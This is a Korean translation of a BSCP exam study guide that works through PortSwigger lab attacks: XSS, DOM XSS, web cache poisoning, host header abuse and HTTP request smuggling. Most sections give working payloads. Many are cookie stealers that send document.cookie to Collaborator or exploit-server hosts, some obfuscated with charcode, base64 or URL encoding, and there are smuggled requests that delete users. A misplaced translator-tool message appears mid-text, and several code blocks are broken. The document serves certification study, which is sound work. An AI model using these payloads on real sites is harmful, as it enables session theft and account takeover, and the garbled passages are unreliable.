>대역 외 XInclude 요청, 로컬 파일을 읽으려면 호스팅된 DTD가 필요함.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

>키 문자를 URL 인코딩하세요.  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>현재 브라우저 세션에서 관리자 사용자의 쿠키로 교체하여 관리자 패널에 접근하세요.  

[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# 발판  
  
# 콘텐츠 발견  

>대상 열거는 웹 디렉터리와 파일을 퍼징하는 것에서 시작됩니다. 숨겨진 경로와 파일을 찾으려면 Burp engagement tools의 content discovery 옵션을 사용하거나 `FFUF`를 이용해 웹 디렉터리와 파일을 열거하세요. `robots.txt` 또는 `sitemap.xml`을 확인하면 콘텐츠가 드러날 수 있습니다.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[PortSwigger Lab: 버전 관리 이력의 정보 공개](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>항상 `source code`를 열어 숨겨진 파일이나 경로를 드러내는 개발자 주석을 찾아보세요. 아래 예시는 [symphony 토큰 역직렬화](#deserialization)로 이어집니다.  

![DEV 코드 디버그 주석 역직렬화](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  

-----

## DOM 기반 XSS  

[DOM XSS 지표](#identify-dom-xss)  
[DOM Invader로 식별된 DOM XSS](#dom-invader)  
[DOM XSS AngularJS](#vuln-angularjs)  
[DOM XSS select에서의 document.write](#doc-write-location-search)  
[DOM XSS JSON.parse 웹 메시지](#dom-xss-jsonparse-web-messages)  
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)  
[DOM XSS AddEventListener Ads 메시지](#dom-xss-addeventlistener-ads-message)  
[DOM XSS Eval 반사 쿠키 스틸러](#reflected-dom-xss)  
[DOM XSS LastviewedProduct 쿠키](#dom-xss-lastviewedproduct-cookie)  

### DOM-XSS 식별  

>DOM 기반 XSS 취약점은 JavaScript가 URL과 같은 공격자가 제어할 수 있는 소스에서 데이터를 가져와 동적 코드 실행을 지원하는 싱크로 코드를 전달할 때 발생합니다. 
>아래의 퍼저 문자열을 사용하여 `source code` 주입 지점을 벗어나게 하는 문자를 테스트하십시오.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

>[쿠키 스틸러 페이로드](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md)는 `on.constructor`를 사용하며 iframe에 배치하고 익스플로잇 서버에서 호스팅할 수 있어, 피해자 세션 쿠키가 Burp Collaborator로 전송되게 합니다.  
>[크로스 사이트 스크립팅 참조용 PortSwigger 치트 시트](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>`<select>` 요소 내부의 `document.write` 싱크에서 `location.search` 소스를 사용하는 DOM XSS [쿠키 스틸러 페이로드](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md). 이는 exploit 서버의 `

![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[PortSwigger 랩: 웹 메시지와 JSON.parse를 사용하는 DOM XSS](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>DOM Invader를 사용하여 웹 메시지를 통한 DOM XSS 식별 및 테스트  

![DOM Invader가 웹 메시지 식별](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>JSON 데이터를 변경한 후 DOM Invader를 사용하여 post message를 재생합니다.```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

피해자 쿠키가 업데이트되면 Exploit 서버 로그가 피해자의 비밀 쿠키 값을 캡처합니다.  

>***ShehmeerAbidRajput***님의 큰 도움으로 그가 제공한 쿠키 스틸러 페이로드를 사용하여 이 랩을 업데이트했습니다.  

[PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## 크로스 사이트 스크립팅  

[XSS 리소스](#xss-resources)  
[허용된 태그 식별](#identify-allowed-tags)  
[차단된 태그 우회](#bypass-blocked-tags)  
[XSS 프로토콜 할당](#xss-assign-protocol)  
[차단되지 않은 사용자 정의 태그](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[반사 문자열 XSS](#reflected-string-xss)  
[반사 문자열 추가 이스케이프](#reflected-string-extra-escape)  
[AngularJS 샌드박스 이스케이프](#angularjs-sandbox-escape)  
[XSS 템플릿 리터럴](#xss-template-literal)  
[JSON을 통한 EVAL XSS](#xss-via-json-into-eval)  
[저장된 XSS](#stored-xss)  
[저장된 DOM XSS](#stored-dom-xss)  
[SVG 업로드의 XSS](#xss-svg-upload)  

### XSS 리소스  

>XSS 리소스 페이지는 **태그** 및 **이벤트**에 대한 페이로드를 조회하는 곳입니다.   

+ [크로스 사이트 스크립팅 (XSS) 치트 시트](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS XSS 학습 노트](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>CSP Evaluator는 XSS 공격을 완화하기 위해 콘텐츠 보안 정책이 적용되어 있는지 확인하는 도구입니다. 예를 들어 `base-uri`가 누락된 경우 이 취약점으로 인해 공격자는 [저장된 자가 XSS 업그레이드](#upgrade-stored-self-xss)에서 설명하는 대체 공격 방법을 사용할 수 있습니다.  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  

>입력 필드의 최대 길이가 23자뿐인 경우 **Tiny XSS Payloads**용으로 이 리소스를 사용하세요.  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>POC XSS [쿠키 스틸러 페이로드](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md) 테스트 중에 사용할 안전하지 않은 테스트 쿠키를 브라우저 개발자 도구 콘솔을 사용하여 브라우저에 설정하세요.```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

I'm ready to translate the chunk, but the input content appears to be empty. No text was provided after "INPUT:". Please provide the actual chunk content so I can translate it into Korean while preserving all Markdown structure, code blocks, and technical terms exactly as they are.```html
"><svg><animatetransform onbegin=alert(1)>

>위의 페이로드를 제출하면 Web Application Firewall(WAF)가 주입을 차단하여 ***"태그가 허용되지 않습니다"***라는 응답 메시지가 표시될 수 있습니다.
>그런 다음 [PortSwigger Academy 방법론](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked)을 사용하여 허용된 태그를 ***식별***하세요.  

>URL 및 Base64 온라인 인코더와 디코더  

+ [URL 디코드 및 인코드](https://www.urldecoder.org/)  
+ [BASE64 디코드 및 인코드](https://www.base64encode.org/)  
  
>이 랩은 POC XSS를 제작하기 위해 허용된 HTML 태그와 이벤트를 ***식별***하는 훌륭한 **방법론**을 제공합니다.  

>익스플로잇 서버에 **iframe** 코드를 호스팅하고 익스플로잇 링크를 피해자에게 전달하세요.```html

>위의 페이로드를 익스플로잇 서버에 배치하고, 아래 코드 블록에서 피해자에게 전달하기 전에 검색 값이 포함된 URL을 ```iframe```에 삽입하십시오.```html

![XSS protocol location](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### 사용자 정의 태그는 차단되지 않음  
  
>애플리케이션은 XSS 페이로드를 삽입하려고 할 때 ***"Tag is not allowed"*** 메시지로 응답하지만, 사용자 정의 태그를 만들면 이를 우회합니다.```html
<xss+id=x>#x';

>**참고:** ID가 ```x```인 사용자 정의 태그에는 **onfocus** 이벤트 핸들러가 포함되어 있으며, 이 핸들러는 ```document.location``` 함수를 트리거합니다. URL 끝에 있는 **HASH** `#` 문자는 페이지가 로드되자마자 이 요소에 포커스를 맞추어 페이로드가 호출되도록 합니다. 페이로드 스크립트를 익스플로잇 서버의 ```script``` 태그에 호스팅하고 피해자에게 전송하세요. 아래는 동일한 페이로드이지만 **URL-encoded** 형식입니다.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

>쿠키에 **HttpOnly** 플래그가 활성화되어 있으면 XSS를 사용하여 쿠키를 탈취할 수 없습니다.  

>PortSwigger Lab 페이로드가 print를 실행합니다.```JavaScript

>페이로드를 Burp Collaborator에 세션 토큰을 전달하는 쿠키 스틸러로 변경합니다.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

>검색어 반사형 취약점을 호스팅하는 Exploit Server로, 피해자에게 전송하여 세션 쿠키를 획득합니다.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

>단일 **백슬래시**, 작은따옴표 및 **세미콜론**을 사용하여 JavaScript 문자열 변수에서 탈출한 다음, 백틱을 사용하여 ```document.location``` 경로를 감싸서 쿠키 스틸러가 애플리케이션 보호를 우회할 수 있게 합니다.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

>Collaborator 페이로드 ***쿠키 스틸러***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

>모든 페이로드를 ASCIII 10진수 값으로 변환하는 Python 스크립트:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>***Adrián Gyurácz***님께 감사드립니다. 이 랩에서 모든 필터를 우회하는 작동하는 쿠키 스틸러 바이패스를 얻지 못했는데, 훌륭한 바이패스를 제공해 주셨습니다.  

>***Adrián Gyurácz***님이 해결책으로 이어진 Portswigger의 다음 연구 문서를 발견했습니다:  
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### 위 내용을 바탕으로 한 그의 페이로드:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

[secjuice: JavaScript 전역 변수를 사용하여 XSS 필터 우회](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)  

>아래는 BASE 64로 인코딩하기 전의 주요 [쿠키 탈취 페이로드](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md)입니다.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

>Search 기능에서 자체 세션 쿠키에 테스트 페이로드를 실행합니다.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

>익스플로잇 서버에 `IFRAME`을 호스팅하면 대상에 연결이 거부되는 **오류** 메시지가 표시됩니다. 대신 `<script>` 태그 사이에 페이로드를 익스플로잇 서버에 호스팅하세요.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

>아래 로그 항목은 익스플로잇 서버로 전송된 요청을 보여주며, 로그를 통해 위 태그의 `/img`와 `/video`가 애플리케이션에서 허용되어 접근 시 요청이 발생했음을 ***확인***할 수 있습니다.  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

>블로그 게시물 댓글에 저장된 교차 사이트 스크립팅(XSS)입니다. 이 Cookie Stealer 페이로드는 피해자의 세션 쿠키를 익스플로잇 서버 로그로 전송합니다.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

#### Stored XSS 블로그 게시물  

>document cookie를 익스플로잇 서버로 전송하는 Stored XSS 블로그 게시물 쿠키 스틸러.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

>[HackTheBox Bookworm을 사용하는 IPPSEC YouTube](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), `payload.js` JavaScript 코드를 보여주며 `fetch` 사용법과 JavaScript 학습 방법을 설명합니다.  

[PortSwigger Lab: 크로스사이트 스크립팅을 악용하여 쿠키 탈취하기](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)  
  
#### 저장형 self-XSS 업그레이드  

>**저장형 self-XSS**가 포함된 블로그 댓글로, 페이로드를 업그레이드하여 DOM에서 피해자 정보를 탈취합니다. **edit content** 함수는 입력값을 `<script>` 태그에 반영합니다. **write comment**의 CSRF 토큰은 **edit content** 함수와 동일합니다. 아래의 페이로드는 **write comment** 함수를 사용하여 피해자가 자신의 블로그에 악성 콘텐츠가 포함된 블로그 글을 작성하도록 만듭니다.
>`a` 문자는 초기 애플리케이션 `source code`의 `#` 해시 문자를 이스케이프하기 위해 추가되었습니다.
>아래의 블로그 글에 포함된 `source code`는 피해자 정보를 탈취하는 전체 익스플로잇입니다.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

>위 블로그 항목을 참조하는 URL을 피해자에게 보내 익스플로잇을 전달하면, 피해자에게 XSS가 트리거됩니다.  

[intigriti - Self-XSS upgrade - Solution to December 22 XSS Challenge](https://youtu.be/FowbZ8IlU7o)  

>Edit Content 블로그 항목 페이지에서 HTML 주입을 사용하는 대체 익스플로잇. [XSS Resources CSP check](#xss-resources)를 사용하여 ***식별됨***.```
<base href="https://Exploit.net">

>수정된 PortSwigger 랩 페이로드는 페이지가 다음에 로드될 때 `document.location` 함수를 변수 `defaultAvatar`에 할당합니다. 사이트가 큰따옴표를 URL 인코딩하지 않는 `cid:` 프로토콜의 사용을 허용하는 DOMPurify를 사용하기 때문입니다.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

>위 페이로드가 저장되며, 댓글 블로그를 방문하는 모든 사용자의 세션 쿠키가 탈취되어 collaborator로 전송됩니다.  

![저장형 DOM-XSS json 댓글](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>PortSwigger Lab 페이로드: `<>`.  

[PortSwigger Lab: 저장형 DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  

-----

## 웹 캐시 포이즈닝  

[Unkeyed 헤더](#unkeyed-header)  
[Unkeyed Utm_content](#unkeyed-utm_content)  
[utm_content 클로킹](#cloaking-utm_content)  
[모호한 요청 포이즈닝](#poison-ambiguous-request)  
[다중 헤더 캐시 포이즈닝](#cache-poison-multiple-headers)  

### Unkeyed 헤더  

>대상은 **tracking.js** JavaScript를 사용하며,  
>그리고 **```X-Forwarded-Host```** 또는 **```X-Host```** 헤더가 경로를 리다이렉트하는 데 취약하며,  
>캐시를 포이즈닝하여 쿠키를 탈취할 수 있습니다.  

>응답의 웹 캐시 헤더와 페이지 소스 코드의 tracking.js 스크립트를 ***식별***하세요.  
>JavaScript를 호스팅하고, 헤더를 주입해 대상의 캐시를 포이즈닝하여 방문하는 피해자를 리다이렉트시키는 취약점을 악용하십시오.  

![트래킹 `source code` 검토](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

![익스플로잇 호스트 tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>본문은 세션 쿠키를 협업 서비스로 전송합니다.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

>위 페이로드가 캐시되면 피해자가 대상 사이트를 방문할 때 쿠키가 Burp Collaborator로 전송됩니다.  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[PortSwigger Lab: 키가 없는 쿼리 매개변수를 통한 웹 캐시 포이즈닝](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### utm_content 클로킹  

>Param Miner 확장 프로그램이 `Bulk scan > Rails parameter cloaking scan`을 수행하면 취약점을 자동으로 ***식별***합니다. 수동으로는 `;`를 추가하여 `utm_content`에 다른 매개변수를 덧붙임으로써 식별할 수 있으며, 캐시는 이를 단일 매개변수로 취급합니다. 즉, 추가된 매개변수도 캐시 키에서 제외된다는 뜻입니다.  
>`/js/geolocate.js?callback=setCountryCookie`에 대한 `source code`는 모든 페이지에서 호출되며 콜백 함수를 실행합니다.  

>`callback` 매개변수는 키에 포함되므로 피해자 사용자의 캐시를 오염시킬 수 없지만, 중복 매개변수를 `utm_content`와 결합하면 키에서 제외되어 캐시가 오염될 수 있습니다.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

>아래는 [Url Decoded](https://www.urldecoder.org/) 페이로드입니다.```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

>공격 서버에서 대상이 호출하는 경로와 동일한 ```/resources/js/tracking.js```에 파일을 설정합니다. 이 파일에는 페이로드가 포함됩니다. 쿠키 스틸러를 수행하려면 아래의 JavaScript 페이로드 코드를 배치하십시오.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

![x-forwarded-scheme이 https가 아님](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>익스플로잇 서버에서 파일 경로를 ```/resources/js/tracking.js```로 변경한 다음,  
>포이즌 요청의 ```X-Forwarded-Host: EXPLOIT.net``` 헤더를 업데이트하세요.  
>익스플로잇 서버 본문에 페이로드를 배치하세요.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

>응답에서 중복된 콜백 매개변수를 전달하여 호출되는 함수가 반영됩니다. 응답에서 캐시 키는 여전히 GET 요청 줄의 원래 콜백 매개변수에서 파생됩니다.  

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)  

>쿠키 스틸러 페이로드를 작동시킬 수 없습니다......  

[PortSwigger 랩: fat GET 요청을 통한 웹 캐시 포이즈닝](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)  
  
-----

## Host Headers  

[IP 주소 스푸핑](#spoof-ip-address)  
[HOST 연결 상태](#host-connection-state)  
[Host 라우팅 기반 SSRF](#host-routing-based-ssrf)  
[잘못된 Host 요청 파싱을 통한 SSRF](#absolute-get-url--host-ssrf)  

### Spoof IP Address  

>변조된 HOST 헤더가 지원된다는 점을 ***식별***하세요.  
>이를 통해 IP 주소를 스푸핑하고 IP 기반 무차별 대입 보호를 우회하거나  
>***비밀번호 재설정*** 포이즈닝을 위한 리디렉션 공격을 수행할 수 있습니다.  
  
>아래 `X- ` 헤더를 포함하고, 요청을 보내기 전에 비밀번호 재설정 요청의 username 매개변수를 `Carlos`로 변경하세요.  
>BSCP 시험에서 이 익스플로잇을 사용했다면, 이는 사용자 상호작용이 필요한 취약점을 사용하지 않았으며, 상호작용 취약점을 사용하여 exploit server의 `Deliver exploit to victim` 기능을 통해 스테이지 3에 관리자로 접근할 수 있음을 의미합니다.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

>다음 요청은 요청 그룹 시퀀스에서 두 번째 탭입니다.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

>`Transfer-Encoding` 헤더를 실제로 지원하는 일부 서버는 해당 헤더가 어떤 방식으로든 **난독화**되어 있으면 이를 처리하지 않도록 유도될 수 있습니다.  

>Repeater 메뉴에서 **"Update Content-Length"** 옵션이 체크 해제되어 있는지 확인하십시오.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

>TE.CL(Transfer-Encoding / Content-Length) 스머글 요청 길이를 **16진수(HEXADECIMAL)**로 계산하며, 페이로드는 16진수 길이 **71**과 종료 **ZERO** 사이에 있습니다. 길이의 일부로 ZERO를 포함하지 않으며, ZERO 위 줄의 `\r\n`도 포함하지 않습니다. 초기 POST 요청의 **content-length**는 수동으로 설정됩니다.  

![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)  

>`/admin/delete?username=carlos`를 보내 사용자를 삭제할 때, 추가된 스머글 요청 크기를 포함하도록 전송 인코딩 16진수 길이가 `71`에서 `88` 16진수 값으로 변경됩니다.  

[PortSwigger Lab: HTTP 요청 스머글링을 악용하여 프런트엔드 보안 제어 우회, TE.CL 취약점](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)  

### CL.TE multiCase - 관리자 차단됨  

>`/admin` 포털 URL 경로에 접근하려고 하면 `Path /admin is blocked` 필터 메시지가 표시됩니다. HTTP Request Smuggler 스캐너는 이 취약점을 `CL.TE multiCase (delayed response)`로 ***식별***합니다.  

>관리자 패널에 접근하려면 아래 요청을 두 번 보내고, 두 번째 헤더 ```Content-Length: 10```을 추가하여 HOST 헤더가 첫 번째 요청과 충돌하지 않도록 하십시오.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

![content-length 값을 이용한 HTTP 요청 스머글링 악용](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)

>위^^의 스머글링된 POST 요청 끝에는 새 줄이 없습니다.

>블로그 **게시물**을 확인하여 사용자의 요청이 포함된 댓글이 있는지 확인하세요. 피해자 사용자가 대상 웹사이트를 탐색한 후에만 공격이 성공합니다. 블로그 게시물 댓글에서 사용자의 Cookie 헤더를 복사하고, 그 쿠키를 사용하여 피해자의 계정에 접근하세요.

![HTTP 요청 스머글링을 악용하여 다른 사용자의 요청 캡처](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)

[PortSwigger Lab: HTTP 요청 스머글링을 악용하여 다른 사용자의 요청 캡처](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)

### CL.TE multiCase - User-Agent 쿠키 스틸러

>***확인***: UserAgent 값은 블로그 댓글 양식을 로드하는 GET 요청에 저장되며, **User-Agent** 숨은 값에도 저장됩니다. HTTP 요청 스머글링을 악용하여 **User-Agent** 값을 사용해 반사형 XSS를 전달하고, 이를 스머글링된 요청에 배치합니다.

>HTML 문서 밖으로 이스케이프하는 기본적인 크로스 사이트 스크립팅(XSS) 페이로드.```JavaScript
 "/><script>alert(1)</script>

>이 XSS 요청을 백엔드 서버로 밀반입하여 다음 방문자를 공격하게 하십시오. XSS 쿠키 스틸러를 **User-Agent** 헤더에 배치하십시오.```html
